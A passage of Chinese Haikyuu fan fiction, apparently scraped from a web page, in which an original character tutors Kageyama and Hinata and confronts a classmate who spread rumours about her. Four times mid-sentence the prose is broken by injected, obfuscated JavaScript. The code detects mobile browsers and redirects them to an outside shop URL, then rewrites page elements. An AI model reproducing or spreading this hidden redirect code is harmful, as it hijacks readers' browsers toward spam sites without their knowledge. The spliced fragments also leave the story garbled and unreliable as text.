“啰嗦死了。”影山紧绷着一张脸,和日向走到月岛旁边。 日向期期艾艾地看了一眼李千树,不情不愿地转向月岛:“月岛……同学,教我们学习吧。” “不要。”月岛想也不想地拒绝了。 “为什么!”日向顿时提高了声音。 “哪有什么为什么,我还想多活几年呢。”月岛懒得理两人,着急推着李千树往外走。 “月岛……同学!帮帮忙啊!要是期末考试不能及格我和影山就不能去东京远征了!”日向跟在后面叫嚷。 月岛不为所动:“不好意思,和我有什么关系。” 善良的千树在此刻扭过头来,不忍心地看了日向一眼,他立刻抓住救命稻草:“千树桑,你可以教我和影山学习吗?” 刚才还咬牙切齿地重新定义“低声下气”的影山也抬起头来,表情复杂地看向李千树。 月岛动作猛地一顿,还没来得及制止,千树已经答应了下来:“那好吧。” “好诶!”日向高兴地一蹦三尺高,还不忘回头和影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976750|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山炫耀,“你看,还是千树桑人好!你还非要去找月岛……” 月岛重重地从鼻子里出气。 大意了。 影山低着头走过来:“谢谢千树桑。” “没关系,那明天开始我在社团活动间隙抽时间给你们补习,今天太晚啦,早点回家写作业吧。”李千树挥了挥手,往前迈了两步。 影山赶紧追了两步和李千树并排:“我……我也回家了!” ------ 好奇怪的氛围。 影山和月岛一左一右站在我两侧,形成了一个一米八、一米六与一米八八的奇怪视觉景观,路人看见我们仨,都忍不住扭头多看两眼。 我们三人一起走在路上,偏偏谁也不说话,各揣心思,也不知道彼此都在想什么。 路过坂之下,月岛君突然开口问我:“千树,要不要吃嘎哩嘎哩君?” 我:“也可……” 还没等我说完话,影山立刻接了一句:“千树桑,要不要吃嘎哩嘎哩君?” 我:? 他似乎立刻发现了什么不对劲,扭过头瞪着月岛:“你为什么叫她千树?” 月岛君挑挑眉:“她答应了,我就叫了。” “那我也要叫千树桑千树!”影山立刻不甘示弱地补充道。 我:“……随你。” “千树,你要吃什么味道的,我给你买。” “我给千树买就可以了!” “……” 我看着怒目圆瞪的两人,无语地走进坂之下,挑了三支嘎哩嘎哩君付完钱出来,两人还在吵。 我把自己那根嘎哩嘎哩君的包装撕开,再把剩下两支分别塞进两人手里:“吃棒冰还闭不上你们两人的嘴。” 影山君也就算了,一向如此我都习惯了,月岛君怎么还跟影山君寸步不让的。 “千树,周末要不要去看电影?”月岛君问我。 影山君立刻接上:“千树,周末要不要……” 可惜他说到一半戛然而止。 “怎么?”月岛君嗤笑一声,“你不会要问千树周末要不要去打排球吧?” 影山君把头扭到一边,一副心虚的样子。 不会吧?不会真的被说中了吧? “也不一定要去打排球,也可以去……”影山君结结巴巴地开口,努力地给自己找补,“也可以……总之还有很多事可以做的!” “哦?那你倒说说看?” “吵死了,我说有就有啊!” “哈,王者又叫庶民闭嘴了是吧?” “你说什么!” “王者是没听清楚需要庶民再重复一遍吗?” “……” 手里的冰棒吃到一半,正在滴答滴答往下滴水,我也没了继续吃的兴致,面无表情看着两人开口:“都给我停下!” “我周末要留在家里复习,”我看向月岛君,“既不想去看电影。” 又转向影山君:“也不会去打排球。” “都给我回家!吵死了!” 我狠狠咬了最后一口棒冰,余光看见两人的眼神还在打架。 两人在我转身后,齐齐喊了一句“都怪你”,我懒得理他们,只顾自己走着,随后在快走到家门口时,听见影山君急急地补上了一句:“千树!晚安,明天见!” 27.已知条件 “这是一般过去时,表示事情发生的时间是在过去,标志性的单词有yesterday,last month等,一般过去时的时候,所有谓语动词需要用过去式。”我摊开笔记,耐心地指导着两人。 “什么叫谓语动词?”影山迷茫地问我。 “动词是表示动作的词汇,我们说谓语动词是因为谓语这个位置只能放动词,但是动词却不一定作谓语,它也可能作主语作宾语等,这时我们就叫它们非谓语动词,怎么样,这样理解了吗?” 影山眉头紧锁,日向似懂非懂。 沉默几秒,影山君一拍桌子,大喝一声。我眼睛一亮,以为他终于想明白了中间的关键。 “日本人为什么要学英语!”影山悲愤道。 月岛君和山口君在一侧没忍住吃吃笑出了声。 “所以为什么月岛也要来补习啊!”日向幽怨地看了一眼月岛手上都是红圈的练习册。 “我不是来补习的,”月岛干脆地说,“我是来看热闹的。” 影山日向:“……” 我在两人忍不住要起身挠月岛之前把两人按住:“不要闹了,看书!” 期末考试迫在眉睫,我见过两人小测的卷子之后,就已经放弃了让他们速成的想法,只能尽量找容易的知识点,先从简单的地方开始补起,确认能补到及格线再说。 明明只是来排球部实习的仁花也因为性格好被抓来做了壮丁,和我一起给两人补习。 好在是田中学长和西谷学长有缘下学长管着,不至于要我帮忙。 “你们还有什么不懂的也可以看仁花的笔记,”我扶着脑袋看着两人道,“仁花的笔记做得比我更清晰。” “没、没有啦!”仁花不好意思地反驳。 “啊,真的!”日向君接过仁花的笔记,惊叫出声,“谷地桑,你的笔记做得好漂亮!” 橘子小狗的眼睛随即亮晶晶地投到仁花身上:“可不可以教教我!” 仁花被夸得不好意思,即便是她这样的超级无敌大i人,遇到日向君这种社交恐怖分子也很难拒绝。两人很快就笔记的记法开始交流起来,而影山还在苦大仇深地盯着那个英语填空题。 “千树桑真辛苦啊!”山口君坐在一边忍不住咂舌。 “不辛苦,”我看着教完依旧一片红的答案,苦着脸道,“命苦。” 月岛每天都变着花样要去我家附近买东西,今天是要帮妈妈带酱油,明天是要去给耳机配个配件,我劝了几次劝不动,索性随他去了。 影山这几天也完全放弃了自主练的时间,一看见月岛君开始收拾东西,就也立刻放下手里的球,积极地开始收拾自己的书包,随后和月岛一左一右如同左右护法一般站在我两边。 有一次被表哥撞见,他看着我的眼神都莫名带上了钦佩。 为了防止两人在路上吵架,我索性在回家路上禁止了两人的任何沟通,提前准备好英语单词本,在放学的路上轮流抽问两人,比一比谁答出的更多。 对此,月岛君表示:“无聊。” 影山君:“我不会输的!” “哈,王者真有自信啊!” “你说什么?要不要比比看啊?” 我及时制止了两人无意义的吵嘴,掏出单词本开始了今日的单词战争:“Ability!” 虽然每次都是以影山君的惨败而告终。 山口君和日向君听说之后,也主动提出要和我们三个一起回家,加入这场“放学路杯”单词记忆大赛。 于是左右护法变成了乌野F4,沿路忍不住看我们的路人更多了。 当然了我偶尔也会换换口味,比如一三五背单词,二四六词语解释,周日出模拟小测卷检查这一周的学习成果。 反正复习资料整理都整理了,我当然没有忘记给戈薇也送了一份,愉快地收获“人美心善”的好名声。 “另外影山君,你回家之后有好好复习吧?这个是昨天才讲过的知识点,换了个条件就做不出来了,可不应该。”我把影山错了的那道题打了个三角形,指给他看。 “有复习的!”他连忙道。 最近几天影山没有像往常一样一早就到体育馆训练,我一直以为是他担心起得太早了,课上睡觉影响上课效率,但是我现在看着又不像是那么回事。 他看起来还是很困。 “最近休息不好吗?”我把新的卷子发给他。 影山君摇摇头,眼神还是乱瞟:“也没有,就是……有点事。” 看起来是不太能说的样子,我也没多问,只叮嘱几人记得看清楚题目的条件和信息,再出现语文写错别字、数学看错条件、英语第三人称单数这种基础性错误就一个星期不准参加部活晚训。 ------ “那个,”影山臭着一张脸,在月岛进体育馆以前把他拦了下来,“你为什么最近都要和千树一起回家?” 月岛看了眼影山,并不打算对他说实话。 影山虽然用着动物般的天生直觉在这几日和他怼得有来有回,但是影山明显还没想明白自己这一桩桩一件件到底是为什么。 月岛还没那么好心,要给自己的对手循循善诱。 “有点事。”他连正经的理由都懒得找。 “你家根本不在那边吧!过了坂之下就应该朝……朝另外一边拐的!”分不清东南西北的影山凶巴巴地道。 “都说了,有点事。”月岛看着他挑了挑眉,嘴巴又勾起阴阳怪气的弧度,“怎么,不让我走吗?” 影山咬牙。 他想说让月岛回家,明明成绩很好,根本不需要参加千树的补习,也根本不用在每次放学路上和他们一群勉强分清楚了英语时态的人背单词。 但是那是大马路,又不是他家,他也没有理由赶月岛走。 他只好恨恨地说了句:“没有。” 月岛冷哼一声,绕过他进了体育馆。 月岛这到底是在做什么?影山盯着他的背影,气恼地用脚踢了踢墙角。 已知,月岛是一个不爱运动的混蛋,对活动的参与度一向很低,他家与千树家是完全相反的方向。 所以他绝对不可能是因为春高在即,决定好好锻炼一下自己的体力,何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985950|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况走这么几步路和锻炼体力也没有一点关系。 又已知,他成绩很好,虽然比不上千树,但也名列前茅。 名列前茅这个词昨天千树刚讲过,意思是名次排在前面,形容成绩优异。 虽然影山很不甘心,但是这个词应该没有用错。 所以他也不可能是为了提高成绩才来找千树,千树出的卷子他几乎每次都是满分,这些对他来说太简单了。 可恶,都会了为什么还要来参加补习,是来羞辱他们吗? 影山在原地又凶狠地咬了咬牙,把这个可能性排除了。 月岛虽然是个混蛋,但是是一个很不喜欢管闲事的混蛋,应该不至于单纯为了羞辱他们费这么大劲。 那么是为什么? 影山在原地来回转了转,绞尽脑汁找寻自己没有发现的死角。 千树说过,如果题目做不出来,就重新读一遍题,看看自己有没有遗漏的条件。 影山托着下巴,把已知条件里又加上了一条:补习活动的参与者除了混蛋月岛之外,还有千树、影山、日向、山口。 但是山口和日向加入之前,月岛就已经和千树一起回家了。 而且那个家伙看他和日向一向不顺眼,和他俩多待一秒都不乐意,这么主动肯定有问题。 已知条件齐全,影山重新过了一遍,心里叮咚冒出来一个答案,叫嚣着“我就是真相”。 所以月岛,是因为千树,才来参加这次补习的吗? “影山,你怎么还在门口不进来啊!”日向探出头,看他不知为何站在体育馆门口面壁思过,奇怪地问,“快进来给我托球啊!” “啊!你不会背着我在偷偷背单词吧!” “才不是呢!蠢货日向!吵死了!” 影山皱着眉给日向托了几个球,手感相当一般。 他停下来,抱着球问日向:“我问你,如果有人因为一个女生,去参加他以前从来不喜欢参加的活动,是因为什么?” “哈?这叫什么问题?” “烦死了,你就说是为什么!” “这还用说吗?”日向接过他手里的球,用胳膊一下一下垫着,“肯定是因为他喜欢那个女生啊!” “喜喜喜喜喜喜喜喜喜喜喜欢?!”影山下意识反驳,“你胡说八道什么?你是笨蛋吗!” “好痛……”日向被影山脱手的排球砸了一下脑袋,捂着头瞪了影山一眼,“你才是笨蛋吧?这都看不出来!不信你去问田中前辈和西谷前辈!” “是真的哦!”田中前辈和西谷前辈双手合十,平静地道,“就算洁子学姐叫我们去死,我们也是愿意的哦!” “我不会叫你们去死的。”路过的洁子学姐如是说道。 “所以影山,是发生什么事了吗?”田中前辈爽朗地拍着影山的肩。 “信任你值得信任的前辈吧!”西谷前辈也爽朗地拍着影山的肩。 “没……没有……” 影山被震惊成一张失去颜色的纸片,随着李千树打开门进来时带动的风缓缓飘了起来。 “啊!影山飘走了!” 28.补习 “喜欢”两个字就像是山谷里的回音一样在影山心里反复回荡,每荡一次都惊起一群飞鸟,在他心里上下扑腾,扑腾得他心神不宁的。 “影山,你想什么呢?”泽村皱了皱眉问道。 虽然在球场上依然专注,但明显一下场心思就不知道飞到什么地方去了,整个人就像是一个没有生气的木偶,眼神都呆呆的。 “没什么事吧,他不一直那样吗?”田中笑着拍了一把影山的背,“这家伙在自动贩卖机前也是这个表情啊!” 泽村低头思考了一会儿,又觉得田中说得也有点道理。 但是总觉得今天的影山像是魂都在外太空飘着,不过在球场上倒是也没出什么错。 除了发球的时候似乎有点针对月岛。 泽村又看了一眼拿着毛巾在擦汗的月岛,他倒是波澜不惊,连眼皮都没有多抬一下。 他俩闹矛盾也不是一天两天,或许是错觉吧。 影山倒是没有注意到自己今天十个发球里面有八个都是冲着月岛的脸砸过去的,他脑袋里只有一句话。 月岛喜欢千树。 他挤着瓶身喝水,水从嘴里满出来了都不知道。 月岛喜欢千树。 他捏着做题的笔,心思也全部落在了别的地方。 月岛喜欢千树。 他的同学都说千树很好看,田中前辈和西谷前辈也说千树很好看,日向也说千树很好看。 月岛喜欢千树,也是因为千树很好看吗? 傍晚的阳光从窗外斜斜地落进来,落到少女的发丝上。她把头发扎在脑后,露出光洁的脖颈和头发交接处一圈细小的绒毛。碎发因为常年别在耳后,有了一丝小小的弧度,不安分地翘在她嘴边。 她眼睛很大,这会儿给他讲题,露出影山从未见过的专注与认真,白皙的鼻尖像是孩童时吃的大福,下面缀着一颗小小的红果,在面对他时总是弯起漂亮的弧度。 那颗红果张开,吐出的声音就像是美羽挂在床边的风铃,清丽婉转,自成曲调。 小巧的笔在她手里仿佛是魔杖,在影山手底下歪歪扭扭的字到了她手里,就立刻变得整齐又赏心悦目。 “所以这道题选什么?”李千树问他。 她问出这句话的时候,影山脸一瞬间犹如番茄般腾地红了,整个人猛地往后一仰,企图拉开一点距离给自己降温。 好像,她确实很好看。 ------- “这道题有since,结合时间,这道题应该用什么时态?” 不知道为什么影山从刚才开始就一直心不在焉,也不知道是不是在想他刚才发出界的那几个球。 “所以这道题选什么?”我看着影山,耐心地又问了一遍。 影山迷茫地看向我,看着看着忽然开始脸红。 “不要看我,看题,我脸上有答案吗?”我敲了敲桌子。 “没……没有。”影山结结巴巴地道,挪了挪凳子,又拉了拉领口,经过一连串复杂且多余的动作,终于告诉我,“选B。” “对了,也没那么难,别紧张。”我奇怪地看了他一眼,把那几张测试题收好,“差不多了,今天就到这里,回去好好复习。” 影山红着脸,一副神游天外的样子收拾好东西,出门前还差点撞到了门框。 “他今天怎么了?”我奇怪地问月岛。 拽男瞥了一眼影山君的背影,懒洋洋的声调拉长:“谁知道呢?” 到了该回家的时间了,我看了一眼手机,忽然发现备注为【神经病4号】的账号久违地给我发了一条消息。 我本以为又是什么骚扰信息,点开之后却发现界面上只有干干净净的三个字“对不起”。 太阳从西边出来了?我狐疑地看了一眼手机,又看了一眼天边的太阳,甚至掐了自己一把看看是不是在做梦。 月岛君注意到我的动作,皱着眉问:“你做什么?” “没有,感觉看见黄鼠狼给鸡拜年了。”我把手机揣进兜里,没回那条莫名其妙的道歉信息。 以小林伸一的脾性,他肯定没安好心。 但是我没想到的是,他这次好像是真心的。 戈薇又请了几日假,期末的战线拉近,我那本漫画也基本看到了尾声。我和千代凑在一处讨论漫画剧情,她还挤眉弄眼地问我这个男主合不合我心意。 “还行,但确实不是我最喜欢的类型。”我诚实道。 月岛君这几日经常会给我送些东西,因为担心我被同学看到不自在,他大多只是将东西仔细包好放在鞋柜里,不过偶尔也会叫仁花或者千代带给我。 所以不论是仁花还是千代,都已经坚定地站在了月岛君这一边。 “不过最近也没有什么谈恋爱的想法了。”我坦言,从包里拿出来了一本习题册,花花绿绿的封皮让两人都忍不住上前看了眼,却发现上面都是她们看不懂的中文。 “这是什么?”千代问道。 “这是一本中国的习题册,叫《X年高考三年模拟》,我专门叫我朋友给我带来的。”我严肃地说道,“中国的学生高考都做这个。” 仁花千代:? “国内外高考的内容考纲什么的还是不一样,出题思路不一样,常考题型也有点差别,做一做国内的题,也算是换一换脑子。”我摊开那本书对她俩解释道。 仁花和千代表示不能理解,但是她俩表示很佩服我。 “那影山君那边,你就完全放弃了?”仁花还是没忍住,小声悄悄问我。 “放弃了啊,不是你们说的嘛,我喜欢的只是漫画男主而已。”我一边勾画着题目条件,一边漫不经心地回着仁花,“反正我也不着急,恋爱放到大学再谈嘛!比起这个,仁花你看这道题……” 我和仁花正在探讨那道几何题究竟应该怎么做辅助线的时候,戈薇突然从外面一脸复杂地走了进来。 “你不是最近请假了吗?”我看着她担心地问,“身体好点了吗?” “好多了。”感觉几日不见,戈薇有点历经沧桑的成熟感。 有什么东西粘在她的校服上,在阳光下还闪着光,我拈起那一根仔细看了看,像是狗毛? “戈薇,你家还养小动物啊?”我把那根毛丢掉,“是小猫还是小狗啊?” “啊?哦,呃……算是狗吧?”戈薇居然还纠结了一下才答出了这个问题,随即挥挥手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006350|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“不说这个,千树,老师找你。” 我在乌野的办公室见到了我这辈子没想到会在乌野办公室见到的人。 小林老师坐在办公室内,小林伸一则低着头在一边站着,小武老师见了我,则连忙亲昵地和我招招手:“千树来啦?” “老师,这是……?”我诧异地走进办公室,这个现场我实在是看不懂了。 “最近学校里的传闻,老师也听说了,没能第一时间制止学校流言的传播,老师很抱歉。”小武老师看着我道,“我想找到谣言的源头,但是这样的谣言就像是无根之萍,若是刻意询问,反而会随水泛滥得一发不可收拾。” “啊,老师没事的……”我一时间不知道说什么好,“我也没往心里去……” 说实在的,那些谣言都是国中时候的事了,我本也没想着它们还能再伴着我来到高中。但是正因为已经很久,我觉得我已经能够完全消化那些无端的恶意,能够完全遗忘那些伤人的指责。 毕竟就算我有办法堵住别人的嘴,却也不能控制别人心里怎么想,若是他们打定主意认定我就是那样的人,我也只是百口莫辩。 国中的同学与我都是泛泛之交,所以即便有人隐约察觉到了故事中的不对劲,也不会多花时间来到我面前求证。 对我而言,打破谣言也很简单,用一次又一次的年级第一以及竞赛金奖打他的脸就可以。 没有想过需要求助谁,也没有想过应该求助谁,所以听见小武老师的这句“你能原谅老师吗”,我反而一时失措,等反应过来时,脸上已经湿润了。 那边小林老师拍了一把小林伸一的后脑勺:“还不道歉!” 小林伸一看着我,委委屈屈地说了对不起。 我沉默了一瞬,开口道:“我不会说没关系的。” 流言这种东西,向来只会在阴暗的角落悄悄生长,像是与阳光并生的阴影,就算在光明下无处遁形,也会在太阳下山之后,悄无声息地滋长蔓延。 我不像许多作品中曾经描述过的校园暴力那样,我没有伤口,也不曾流血,但这样的谣言与随之而来的孤立,就像美人鱼的双脚,即便外表看着毫无异常,所走下每一步的痛楚,却是将血与泪自己咬牙往肚子里吞。 就算如今我都已经快记不得当时的心境了,却并不代表着他的所作所为值得被原谅。 气氛一时有些尴尬,小林伸一脸上又满是不甘,小武老师怕我吃亏,将我往后拉了拉:“小林老师,我想知道您打算让令郎如何道歉?” “我也在犹豫这个,不知道有多少人听说了这件事,若是传播的范围其实没那么大,当众道歉,会不会反而小题大做了呢?”小林老师诚恳地道。 小武老师也皱了皱眉,扭头看向我,他也有顾虑,顾虑我是个女生,顾虑我或许多少有点在意自己的名声。 小林伸一,一个当初仅仅是数学竞赛屈居我之下,便能在背后造出这样谣言的人,面子对他而言,是比天还大的事。 “在期末考试以前有一个考前动员大会,我本来作为学生代表发言,”我看向站在一侧的教导主任,十分诚恳地问,“能抽几分钟时间,在那个会上,让小林君和我道歉吗?” 29.道歉 我本来确实没有设想过这样的结局。我受到的教育一直是身正不怕影子斜,结果空穴可以来风,平静的下午也可以揉皱一池春水。 小林老师并不是无理取闹的人,不然他也不会带着小林伸一来同乌野。虽然他对我的决议不太赞同,但最终还是答应,让小林伸一当众和我道歉。 小林伸一急得差点没有当场跳起来,让最重面子的他来乌野和我道歉,已经是天大的让步了,没想到还要当着乌野众人的面和我道歉,这还不如杀了他! 最后小林老师狠狠地拍了拍他的后脑勺,他疼得在办公室委委屈屈哭了起来,抽抽搭搭地答应了我的要求。 我看着他抽抽噎噎的样子,忽然不知道说什么。 这就是给我的国中生涯曾经带来噩梦的男生。 好……脆弱。 曾经对镜子练习过千万遍的笑容在此刻真心实意地印在了我的脸上,我拍了拍小林君的肩膀,以一种万分真诚的表情对他说:“辛苦了小林君,希望下次你可以凭实力拿到竞赛金奖。” 小林伸一哭得更大声了。 小武老师尴尬得不知道自己该劝还是不该劝,我则先向老师告辞打算回班,小林老师大概也觉得丢人,把我叫住了,多说了几句话:“伸一那家伙……我真不知道原来他在北川说过这样的话,真对不住,千树同学,你真的很有天赋,也很努力,希望不会被这样的事情影响到。” “谢谢小林老师,我不会被影响的。” 因为,我已经往前走了。 “不过……小林老师是怎么知道这件事的?”我迟疑地问道。 小林伸一自己不可能告诉他爸爸,他从小到大最怕他父亲。北川的同学都已经毕业,总不会是有人回校看望老师的时候说漏嘴了吧? 小林老师听见这句话,脸上的表情突然显得有点尴尬:“千树同学……是不是和影山同学关系挺好的?” “啊?”我又愣住了,这又和影山君有什么关系。 “是他告诉我的,他起初一直在学校门口等我,连着等了好几日,但是那几日我去别的学校访学了,所以不在学校,他等空了,不知道从谁那里要到了我家的地址,就去家里找我,我这才知道这件事。” “啊,真对不住……”我下意识为影山君道歉。 小林老师虽然说得很模糊,但是我却能大概猜到,以影山君说话的艺术,这件事绝对不仅仅止于从“找小林老师”到“小林老师知道”这么简单。 “没事,那孩子虽然性子直了些,但是是个好孩子,要不是他告诉我,我还要一直被蒙在鼓里。”小林老师爽朗地摇了摇头,拍了拍我的肩,语重心长地对我说,“不过,千树同学还是要把重点放在学习上,不要可惜了你的才华和资质。” 我重重地点头:“老师你放心,我最近很努力的。” “那就好,你快回去吧,我带着这个丢人现眼的东西回家了。”他疲惫地闭了闭眼睛,小林伸一在一侧哭的狠了,开始止不住地打嗝。 办公室所有人都没忍心接着看,悄悄挪开了眼睛。 我和老师几人告别,往回走,却忍不住想刚才小林老师的话。 影山最近又是补习又是部活,居然还每天结束以后跑去北川第一找小林老师? 他和北川的同学一向关系不好,到底是和谁周转了几次才要到了小林伸一家的地址? 难怪最近他总显得有点困的样子,每天回家的时间太迟了吧? “就这么放过他了吗,千树?”千代显得有点忿忿不平,“感觉教训不够重啊!” “我去警察局报过案了,但是证据不足,他又是未成年,认错态度良好,所以警察也只是批评教育一番,就给他放出来了,定不了罪。不过——” 我神秘地冲着千代眨眨眼:“杀人要诛心才行,小林伸一脾气傲得很,他道歉那天不少乌野的同学都拍了视频,青叶城西也给他开了处分,我这几天都已经收到不少以前北川第一的同学发来信息和我道歉,那家伙现在是过街老鼠。” 我弯了弯嘴角,笑容舒展开:“也算是罪有应得吧。” ------ 小林伸一那次道歉的时候,乌野不少同学都偷偷摸摸掏出了手机记录了这一场惊天大瓜,周围老师十分难得地假装自己没看见此起彼伏的闪光灯。 小林伸一对那些闪光灯避之不及,却又无可奈何,还想垂死挣扎绑架李千树:“千树同学,能不能原谅我?” 这回还没等李千树说话,底下的学生就已经忿忿不平地大喊起来:“凭什么原谅你!人渣!” 眼看有愈演愈烈的趋势,老师才急忙出面调和,那天的小林伸一是被大家骂着、哭着跑出乌野的。 乌野的老师很重视这一次的事件,在品德课上狠抓了“谣言止于智者”的重要意义,尤其是一年级的几个班,老师就差把荣誉榜李千树那大写的年级第一贴到那几个胡说八道的男生身上。 影山班里那个率先开始传消息的男生自然也没有什么好果子吃,不但吃了处分,而且跟到警察局被批评教育了一番才灰头土脸地回来,就算有几个男生还敢嬉皮笑脸地说“还好没信你,我就说千树不可能塌房”,也很快被班级女生的唾沫星子淹死了。 千树没再让他们一一来和她道歉,她的时间很宝贵,没必要浪费在不重要的人身上。 这个消息自然也传到了排球部,田中龙之介和西谷夕简直是扬眉吐气,恨不得把小林伸一鞠躬和李千树道歉的那张照片贴到每一个曾经说过李千树坏话的人脸上。 两人在排球部说得高兴了,甚至说要给千树庆祝成功祛晦。结果李千树笑眯眯地指了指站在不远处还未发功但蓄势待发的缘下力:“我是很乐意啦,但是两位学长昨日的小测好像很不理想哦,缘下学长会答应吗?” 最后以田中和西谷的哀嚎结束了这一场混乱的仪式。 月岛萤没有多说什么,表情似乎是高兴了一点,反而是山口很开心地在一侧和李千树叽叽喳喳地聊了起来:“终于澄清了!之前四班有人说千树桑的坏话,阿月可生气了,差点……” “山口。” “哎呀,阿月!” 山口虽然这么说着,却也没有接着往下说,月岛看了李千树一眼,欲盖弥彰地低头捡球去了。反而是李千树态度诚恳地和月岛道谢:“谢谢月岛君替我说话。” “没什么,”月岛移开眼睛,“他们太吵了。” 影山心里那只无声的警报忽然又拉响了,在他反应过来以前,他已经把月岛挤开,站到了李千树面前。 她似乎并不惊讶看见他,只是弯了弯眼睛说:“还是最要感谢你,影山君。” 影山一愣:“为什么?” “哎?”这话把李千树给问愣了,“不是影山君连着好几日去找小林老师,小林伸一最后才不得不和我道歉的吗?” “啊,确实,但是这不是应该的吗?”影山并没有觉得这件事情有丝毫值得夸耀的成分。 “啊?这件事是还要多亏影山?”菅原孝支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022555|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也走过来,惊讶地问道。 李千树重重地冲着菅原点了点头:“说实话,我本来没有想追究这件事情,只觉得和国中的时候一样,等风波平静下去就好。” “但是影山君连着几日去北川找了小林老师,小林老师那几日不在,他还又不知道从谁手里问到了小林家在哪里,这才找到小林老师的。” “哎?!”菅原学长看起来超级震惊,“影山居然还能想到这些!” 李千树疯狂点头:“我也超震惊的!” 影山忍不住补充道:“因为……因为那时候菅原学长说,重点是要搞清楚到底是怎么一回事,大地学长又说不能问千树桑,我就只能去问小林君。” ”但是我找到小林君之后,小林君不愿意见我,我就只好想办法找小林君的父亲了。“ 影山说得极为自然,但是对面几人的表情却显得更为震惊了。 菅原:“就因为这一句话,你就……直接去了?” 影山迷惑了,是有哪里做得不对吗? 月岛忍不住问:“就没有想过万一小林老师也不愿意见你,甚至倒打一耙,你该怎么办吗?” 影山皱着眉:“为什么要想?小林老师不是答应了吗?” 月岛冷笑:“真是单细胞啊……” “你说什么!” 月岛这次倒是没有和他斗嘴,莫名其妙地说了一句:“大概这就是单细胞的长处吧。” 在影山还没有想清楚这句话到底是在夸他还是在骂他的时候,月岛已经走开了。 菅原迫不及待地和三年级生分享“孩子长大了”这个故事去了,原地只剩下了李千树和影山。 影山突然就不知道该把眼睛放在哪里好,低着头摸了摸自己的后脑勺,刚想说他要去练球了,就听见千树道:“真的,很谢谢影山君呢。” 他小心翼翼地抬眼看了一眼李千树,发现对方眼神一错不错地看着他,瞬间将眼神挪开:“……没事。” 她后面说了一句什么,影山没听清,心里扑通扑通地放映着李千树的眼睛。 顾盼生辉,影山第一次觉得自己理解了这个词的含义。 “其实啊,我从国中二年级的时候开始,就一直暗恋影山君,所以之前听见影山君那么说,我还蛮伤心的,但是没想到影山君能为我做这么多。” 影山:“嗯……嗯?!” “所以,虽然我现在已经不喜欢影山君了……啊,请不要误会,我的意思是现在已经不是男女朋友的那种喜欢了,现在对影山君只是普通朋友的喜欢,”千树笑了笑,眼里的光异常璀璨,“还是觉得,影山君果然是一个很好的人!” 李千树说完这话,就起身拍了拍衣服,真切而又快活地和影山握了握手:“真高兴认识你呀,影山君!” 说罢,她就转身去为今日排球部的训练日常忙碌了。 影山呆呆地和李千树挥了挥手,脑海里还在回放着刚才她说的话。 她刚才说什么来着,她从国中开始就暗恋他? 她刚才还说什么?她说她现在不喜欢他了? 啊?! “嘭”的一声,日向发球失误,那个球朝着场外的影山直直飞去,不偏不倚地砸中了影山的后脑勺。 球落了地,影山一动不动。 日向面若死灰:“影山……” 影山直挺挺的,面朝下倒了地。 日向吓得看了看自己的手,一边往影山边上跑一边喃喃:“我什么时候力气这么大了?” 30.电话 李千树走来给影山的鼻子止了血,影山却还是两眼发直,一副失魂落魄的样子,三魂七魄一半都飞出体外,连话都说不出一句。 李千树有点担心地看着影山:“你没事吧,影山君?” 他一副刚回神的样子,猛地将身子往后一仰,结果太用力,后脑勺又重重地砸在地上,发出一声闷响。 “没,没事!”在李千树伸手要将他扶起来之前,影山已经如同一只压到底的弹簧一般从地上弹了起来,结结巴巴道。 “没事就好……”李千树看着他愣愣地说。 影山一边揉着自己的后脑勺,一边注意自己止血的棉花不要掉下去,跌跌撞撞地去一边捡球,沉默地对着墙垫了起来。 日向一脸震惊地看着李千树:“我今天把球打到影山脑袋上,他居然都没有发火!” “大概是他洗心革面、重新做人了吧。”李千树开玩笑说。 另一侧影山虽然还在机械地对墙垫着球,人却早已魂飞天外,李千树的话对他而言就像是个重磅炸弹,给他炸得四分五裂的,拼都拼不起来。 喜欢这个词,影山甚至没有怎么仔细思考过它背后的真正含义。 当然,他喜欢打排球,排球对他来说就像是吃饭喝水一样重要,这没什么好说的。 